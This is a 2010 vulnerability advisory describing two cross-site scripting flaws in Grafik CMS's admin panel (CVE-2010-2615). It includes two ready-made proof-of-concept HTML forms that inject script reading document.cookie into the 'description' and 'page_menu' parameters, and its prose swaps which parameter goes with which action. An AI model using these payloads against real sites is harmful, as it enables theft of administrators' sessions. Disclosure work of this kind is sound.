Cross-site Scripting (XSS) Vulnerabilities in Grafik CMS

Advisory ID:HTB22438
Product:Grafik CMS
Vulnerable Versions:1.1.2 and probably prior
Tested Version:1.1.2
Advisory Publication:June 14, 2010 [without technical details]
Vendor Notification:June 14, 2010
Public Disclosure:June 28, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-2615
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in Grafik CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Grafik CMS: CVE-2010-2615
The vulnerability exists due to input sanitation error in the "page_menu" (when action is set to settings) and "description" (when actions is set to edit_page) parameters in /admin/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
<form action="http://host/admin/admin.php?action=settings" method="post" name="main" >
<input type="hidden" name="name" value="site title" />
<input type="hidden" name="admin_mail" value="" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_url" value="" />
<input type="hidden" name="seo_url" value="0" />
<input type="hidden" name="mailing" value="1" />
<input type="hidden" name="template" value="templates/default" />
<input id="sbmt" type="submit" name="submit" value="Valider" />

<form action="http://host/admin/admin.php?action=edit_page&id=1" method="post" name="main" >
<input type="hidden" name="page_title" value="page title" />
<input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="page_content" value="some page content" />
<input id="sbmt" type="submit" name="submit" value="Modifier" />

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22438 - - Cross-site Scripting (XSS) Vulnerabilities in Grafik CMS
[2] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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